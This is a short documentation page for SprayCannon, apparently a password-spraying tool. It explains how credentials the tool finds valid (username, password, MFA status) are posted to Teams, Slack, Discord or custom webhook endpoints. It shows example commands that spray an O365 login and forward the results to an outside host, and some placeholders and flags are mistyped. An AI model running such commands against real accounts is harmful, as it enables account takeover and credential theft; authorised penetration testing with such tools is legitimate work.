Usage_WebHooks

WebHooks

SprayCannon supports webhooks to notify you when a spray has found a valid set of credentials. By using the domain in the webhook url, SprayCannon will send a formated string to the webhook url to trigger the webhook. The type of webhook is auto detected based on the url host depending on what platform you are sending a webhook to.

Supported webhook platforms are:

• Teams
• Discord
• Google Chat
• Slack
• Custom endpoints

Example:

spraycannon -s o365 -u myuser@outlook.com -p password1 --webhook https://your.webhook.office.com/webho...

Custom endpoints(expirimental)

To send webhooks to custom endpoints, you need to use the --webhookcard flag.

Placeholders have been allocated for each exportable item:

-%- TARGET -%-
-%- USERNAME -%-
-%- PASSWORD -%-
-%- MFA -%-

Example ( with multiline shell support ):

spraycannon -s 0365 -u myuser@mydomain.com -p password1 --webhook https://webhook.mydomain.com/webhookurl/sumbithere \
--webhookcard "Target: -% TARGET -%-
-%- USERNAME -%-
-%- PASSWORD -%-
-%- MFA -%-"